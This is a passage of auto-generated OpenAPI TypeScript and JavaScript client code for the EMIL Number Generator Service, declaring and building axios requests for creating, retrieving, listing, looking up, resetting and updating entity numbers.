| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| resetNumber: (resetNumberRequestDto: ResetNumberRequestDto, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| /** | ||
| * This will update an entity number in the database. | ||
| * @summary Update the number | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| updateNumber: (code: string, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| }; | ||
| /** | ||
| * NumbersApi - functional programming interface | ||
| * @export | ||
| */ | ||
| export declare const NumbersApiFp: (configuration?: Configuration) => { | ||
| /** | ||
| * This will create an entity number in the database. Entity number is a way to generate unique numbers for your entities. You can create as many numbers as you want. | ||
| * @summary Create the number | ||
| * @param {string} slug The slug of the number | ||
| * @param {string} type The type of number generator. This determines the structure of the config object. | ||
| * @param {object} config Configuration object that varies based on the type field | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createNumber(slug: string, type: string, config: object, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<CreateNumberResponseClass>>; | ||
| /** | ||
| * Retrieves the details of the number that was previously created. Supply the unique number code that was returned when you created it and Emil Api will return the corresponding number information. | ||
| * @summary Retrieve the number | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} expand | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getNumber(code: string, expand: string, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<GetNumberResponseClass>>; | ||
| /** | ||
| * Returns a list of Numbers you have previously created. The Numbers are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. | ||
| * @summary List Numbers | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time. | ||
| * @param {string} [search] To search the list by any field, pass search=xxx to fetch the result. | ||
| * @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC. | ||
| * @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size. | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listNumbers(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListNumbersResponseClass>>; | ||
| /** | ||
| * The endpoint performs a lookup based on an entity number to retrieve a unique string. | ||
| * @summary Lookup entity number | ||
| * @param {LookupNumberRequestDto} lookupNumberRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| lookupNumber(lookupNumberRequestDto: LookupNumberRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<void>>; | ||
| /** | ||
| * This endpoint facilitates the resetting of an entity number useful for sequence type numbers. | ||
| * @summary Reset entity number | ||
| * @param {ResetNumberRequestDto} resetNumberRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| resetNumber(resetNumberRequestDto: ResetNumberRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<void>>; | ||
| /** | ||
| * This will update an entity number in the database. | ||
| * @summary Update the number | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| updateNumber(code: string, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<UpdateNumberResponseClass>>; | ||
| }; | ||
| /** | ||
| * NumbersApi - factory interface | ||
| * @export | ||
| */ | ||
| export declare const NumbersApiFactory: (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) => { | ||
| /** | ||
| * This will create an entity number in the database. Entity number is a way to generate unique numbers for your entities. You can create as many numbers as you want. | ||
| * @summary Create the number | ||
| * @param {string} slug The slug of the number | ||
| * @param {string} type The type of number generator. This determines the structure of the config object. | ||
| * @param {object} config Configuration object that varies based on the type field | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createNumber(slug: string, type: string, config: object, authorization?: string, options?: any): AxiosPromise<CreateNumberResponseClass>; | ||
| /** | ||
| * Retrieves the details of the number that was previously created. Supply the unique number code that was returned when you created it and Emil Api will return the corresponding number information. | ||
| * @summary Retrieve the number | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} expand | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getNumber(code: string, expand: string, authorization?: string, options?: any): AxiosPromise<GetNumberResponseClass>; | ||
| /** | ||
| * Returns a list of Numbers you have previously created. The Numbers are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. | ||
| * @summary List Numbers | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time. | ||
| * @param {string} [search] To search the list by any field, pass search=xxx to fetch the result. | ||
| * @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC. | ||
| * @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size. | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listNumbers(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: any): AxiosPromise<ListNumbersResponseClass>; | ||
| /** | ||
| * The endpoint performs a lookup based on an entity number to retrieve a unique string. | ||
| * @summary Lookup entity number | ||
| * @param {LookupNumberRequestDto} lookupNumberRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| lookupNumber(lookupNumberRequestDto: LookupNumberRequestDto, authorization?: string, options?: any): AxiosPromise<void>; | ||
| /** | ||
| * This endpoint facilitates the resetting of an entity number useful for sequence type numbers. | ||
| * @summary Reset entity number | ||
| * @param {ResetNumberRequestDto} resetNumberRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| resetNumber(resetNumberRequestDto: ResetNumberRequestDto, authorization?: string, options?: any): AxiosPromise<void>; | ||
| /** | ||
| * This will update an entity number in the database. | ||
| * @summary Update the number | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| updateNumber(code: string, authorization?: string, options?: any): AxiosPromise<UpdateNumberResponseClass>; | ||
| }; | ||
| /** | ||
| * Request parameters for createNumber operation in NumbersApi. | ||
| * @export | ||
| * @interface NumbersApiCreateNumberRequest | ||
| */ | ||
| export interface NumbersApiCreateNumberRequest { | ||
| /** | ||
| * The slug of the number | ||
| * @type {string} | ||
| * @memberof NumbersApiCreateNumber | ||
| */ | ||
| readonly slug: string; | ||
| /** | ||
| * The type of number generator. This determines the structure of the config object. | ||
| * @type {string} | ||
| * @memberof NumbersApiCreateNumber | ||
| */ | ||
| readonly type: string; | ||
| /** | ||
| * Configuration object that varies based on the type field | ||
| * @type {object} | ||
| * @memberof NumbersApiCreateNumber | ||
| */ | ||
| readonly config: object; | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof NumbersApiCreateNumber | ||
| */ | ||
| readonly authorization?: string; | ||
| } | ||
| /** | ||
| * Request parameters for getNumber operation in NumbersApi. | ||
| * @export | ||
| * @interface NumbersApiGetNumberRequest | ||
| */ | ||
| export interface NumbersApiGetNumberRequest { | ||
| /** | ||
| * Unique identifier for the object. | ||
| * @type {string} | ||
| * @memberof NumbersApiGetNumber | ||
| */ | ||
| readonly code: string; | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof NumbersApiGetNumber | ||
| */ | ||
| readonly expand: string; | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof NumbersApiGetNumber | ||
| */ | ||
| readonly authorization?: string; | ||
| } | ||
| /** | ||
| * Request parameters for listNumbers operation in NumbersApi. | ||
| * @export | ||
| * @interface NumbersApiListNumbersRequest | ||
| */ | ||
| export interface NumbersApiListNumbersRequest { | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof NumbersApiListNumbers | ||
| */ | ||
| readonly authorization?: string; | ||
| /** | ||
| * A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @type {number} | ||
| * @memberof NumbersApiListNumbers | ||
| */ | ||
| readonly pageSize?: number; | ||
| /** | ||
| * A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @type {string} | ||
| * @memberof NumbersApiListNumbers | ||
| */ | ||
| readonly pageToken?: string; | ||
| /** | ||
| * Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time. | ||
| * @type {string} | ||
| * @memberof NumbersApiListNumbers | ||
| */ | ||
| readonly filter?: string; | ||
| /** | ||
| * To search the list by any field, pass search=xxx to fetch the result. | ||
| * @type {string} | ||
| * @memberof NumbersApiListNumbers | ||
| */ | ||
| readonly search?: string; | ||
| /** | ||
| * The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC. | ||
| * @type {string} | ||
| * @memberof NumbersApiListNumbers | ||
| */ | ||
| readonly order?: string; | ||
| /** | ||
| * Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size. | ||
| * @type {string} | ||
| * @memberof NumbersApiListNumbers | ||
| */ | ||
| readonly expand?: string; | ||
| /** | ||
| * Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time. | ||
| * @type {string} | ||
| * @memberof NumbersApiListNumbers | ||
| */ | ||
| readonly filters?: string; | ||
| } | ||
| /** | ||
| * Request parameters for lookupNumber operation in NumbersApi. | ||
| * @export | ||
| * @interface NumbersApiLookupNumberRequest | ||
| */ | ||
| export interface NumbersApiLookupNumberRequest { | ||
| /** | ||
| * | ||
| * @type {LookupNumberRequestDto} | ||
| * @memberof NumbersApiLookupNumber | ||
| */ | ||
| readonly lookupNumberRequestDto: LookupNumberRequestDto; | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof NumbersApiLookupNumber | ||
| */ | ||
| readonly authorization?: string; | ||
| } | ||
| /** | ||
| * Request parameters for resetNumber operation in NumbersApi. | ||
| * @export | ||
| * @interface NumbersApiResetNumberRequest | ||
| */ | ||
| export interface NumbersApiResetNumberRequest { | ||
| /** | ||
| * | ||
| * @type {ResetNumberRequestDto} | ||
| * @memberof NumbersApiResetNumber | ||
| */ | ||
| readonly resetNumberRequestDto: ResetNumberRequestDto; | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof NumbersApiResetNumber | ||
| */ | ||
| readonly authorization?: string; | ||
| } | ||
| /** | ||
| * Request parameters for updateNumber operation in NumbersApi. | ||
| * @export | ||
| * @interface NumbersApiUpdateNumberRequest | ||
| */ | ||
| export interface NumbersApiUpdateNumberRequest { | ||
| /** | ||
| * Unique identifier for the object. | ||
| * @type {string} | ||
| * @memberof NumbersApiUpdateNumber | ||
| */ | ||
| readonly code: string; | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof NumbersApiUpdateNumber | ||
| */ | ||
| readonly authorization?: string; | ||
| } | ||
| /** | ||
| * NumbersApi - object-oriented interface | ||
| * @export | ||
| * @class NumbersApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| export declare class NumbersApi extends BaseAPI { | ||
| /** | ||
| * This will create an entity number in the database. Entity number is a way to generate unique numbers for your entities. You can create as many numbers as you want. | ||
| * @summary Create the number | ||
| * @param {NumbersApiCreateNumberRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof NumbersApi | ||
| */ | ||
| createNumber(requestParameters: NumbersApiCreateNumberRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<CreateNumberResponseClass, any, {}>>; | ||
| /** | ||
| * Retrieves the details of the number that was previously created. Supply the unique number code that was returned when you created it and Emil Api will return the corresponding number information. | ||
| * @summary Retrieve the number | ||
| * @param {NumbersApiGetNumberRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof NumbersApi | ||
| */ | ||
| getNumber(requestParameters: NumbersApiGetNumberRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<GetNumberResponseClass, any, {}>>; | ||
| /** | ||
| * Returns a list of Numbers you have previously created. The Numbers are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. | ||
| * @summary List Numbers | ||
| * @param {NumbersApiListNumbersRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof NumbersApi | ||
| */ | ||
| listNumbers(requestParameters?: NumbersApiListNumbersRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<ListNumbersResponseClass, any, {}>>; | ||
| /** | ||
| * The endpoint performs a lookup based on an entity number to retrieve a unique string. | ||
| * @summary Lookup entity number | ||
| * @param {NumbersApiLookupNumberRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof NumbersApi | ||
| */ | ||
| lookupNumber(requestParameters: NumbersApiLookupNumberRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<void, any, {}>>; | ||
| /** | ||
| * This endpoint facilitates the resetting of an entity number useful for sequence type numbers. | ||
| * @summary Reset entity number | ||
| * @param {NumbersApiResetNumberRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof NumbersApi | ||
| */ | ||
| resetNumber(requestParameters: NumbersApiResetNumberRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<void, any, {}>>; | ||
| /** | ||
| * This will update an entity number in the database. | ||
| * @summary Update the number | ||
| * @param {NumbersApiUpdateNumberRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof NumbersApi | ||
| */ | ||
| updateNumber(requestParameters: NumbersApiUpdateNumberRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<UpdateNumberResponseClass, any, {}>>; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| var __extends = (this && this.__extends) || (function () { | ||
| var extendStatics = function (d, b) { | ||
| extendStatics = Object.setPrototypeOf || | ||
| ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || | ||
| function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; | ||
| return extendStatics(d, b); | ||
| }; | ||
| return function (d, b) { | ||
| if (typeof b !== "function" && b !== null) | ||
| throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); | ||
| extendStatics(d, b); | ||
| function __() { this.constructor = d; } | ||
| d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); | ||
| }; | ||
| })(); | ||
| var __assign = (this && this.__assign) || function () { | ||
| __assign = Object.assign || function(t) { | ||
| for (var s, i = 1, n = arguments.length; i < n; i++) { | ||
| s = arguments[i]; | ||
| for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) | ||
| t[p] = s[p]; | ||
| } | ||
| return t; | ||
| }; | ||
| return __assign.apply(this, arguments); | ||
| }; | ||
| var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { | ||
| function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } | ||
| return new (P || (P = Promise))(function (resolve, reject) { | ||
| function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } | ||
| function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } | ||
| function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } | ||
| step((generator = generator.apply(thisArg, _arguments || [])).next()); | ||
| }); | ||
| }; | ||
| var __generator = (this && this.__generator) || function (thisArg, body) { | ||
| var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; | ||
| return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; | ||
| function verb(n) { return function (v) { return step([n, v]); }; } | ||
| function step(op) { | ||
| if (f) throw new TypeError("Generator is already executing."); | ||
| while (g && (g = 0, op[0] && (_ = 0)), _) try { | ||
| if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; | ||
| if (y = 0, t) op = [op[0] & 2, t.value]; | ||
| switch (op[0]) { | ||
| case 0: case 1: t = op; break; | ||
| case 4: _.label++; return { value: op[1], done: false }; | ||
| case 5: _.label++; y = op[1]; op = [0]; continue; | ||
| case 7: op = _.ops.pop(); _.trys.pop(); continue; | ||
| default: | ||
| if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } | ||
| if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } | ||
| if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } | ||
| if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } | ||
| if (t[2]) _.ops.pop(); | ||
| _.trys.pop(); continue; | ||
| } | ||
| op = body.call(thisArg, _); | ||
| } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } | ||
| if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; | ||
| } | ||
| }; | ||
| var __importDefault = (this && this.__importDefault) || function (mod) { | ||
| return (mod && mod.__esModule) ? mod : { "default": mod }; | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.NumbersApi = exports.NumbersApiFactory = exports.NumbersApiFp = exports.NumbersApiAxiosParamCreator = void 0; | ||
| var axios_1 = __importDefault(require("axios")); | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| var common_1 = require("../common"); | ||
| // @ts-ignore | ||
| var base_1 = require("../base"); | ||
| // URLSearchParams not necessarily used | ||
| // @ts-ignore | ||
| var url_1 = require("url"); | ||
| var FormData = require('form-data'); | ||
| /** | ||
| * NumbersApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| var NumbersApiAxiosParamCreator = function (configuration) { | ||
| var _this = this; | ||
| return { | ||
| /** | ||
| * This will create an entity number in the database. Entity number is a way to generate unique numbers for your entities. You can create as many numbers as you want. | ||
| * @summary Create the number | ||
| * @param {string} slug The slug of the number | ||
| * @param {string} type The type of number generator. This determines the structure of the config object. | ||
| * @param {object} config Configuration object that varies based on the type field | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createNumber: function (slug, type, config, authorization, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, localVarFormParams, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| // verify required parameter 'slug' is not null or undefined | ||
| (0, common_1.assertParamExists)('createNumber', 'slug', slug); | ||
| // verify required parameter 'type' is not null or undefined | ||
| (0, common_1.assertParamExists)('createNumber', 'type', type); | ||
| // verify required parameter 'config' is not null or undefined | ||
| (0, common_1.assertParamExists)('createNumber', 'config', config); | ||
| localVarPath = "/numbergenerator/v1/numbers"; | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'POST' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| localVarFormParams = new ((configuration && configuration.formDataCtor) || FormData)(); | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| if (slug !== undefined) { | ||
| localVarFormParams.append('slug', slug); | ||
| } | ||
| if (type !== undefined) { | ||
| localVarFormParams.append('type', type); | ||
| } | ||
| if (config !== undefined) { | ||
| localVarFormParams.append('config', new Blob([JSON.stringify(config)], { type: "application/json", })); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'multipart/form-data; boundary=' + localVarFormParams.getBoundary(); | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| localVarRequestOptions.data = localVarFormParams; | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * Retrieves the details of the number that was previously created. Supply the unique number code that was returned when you created it and Emil Api will return the corresponding number information. | ||
| * @summary Retrieve the number | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} expand | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getNumber: function (code, expand, authorization, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| // verify required parameter 'code' is not null or undefined | ||
| (0, common_1.assertParamExists)('getNumber', 'code', code); | ||
| // verify required parameter 'expand' is not null or undefined | ||
| (0, common_1.assertParamExists)('getNumber', 'expand', expand); | ||
| localVarPath = "/numbergenerator/v1/numbers/{code}" | ||
| .replace("{".concat("code", "}"), encodeURIComponent(String(code))); | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (expand !== undefined) { | ||
| localVarQueryParameter['expand'] = expand; | ||
| } | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * Returns a list of Numbers you have previously created. The Numbers are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. | ||
| * @summary List Numbers | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time. | ||
| * @param {string} [search] To search the list by any field, pass search=xxx to fetch the result. | ||
| * @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC. | ||
| * @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size. | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listNumbers: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| localVarPath = "/numbergenerator/v1/numbers"; | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
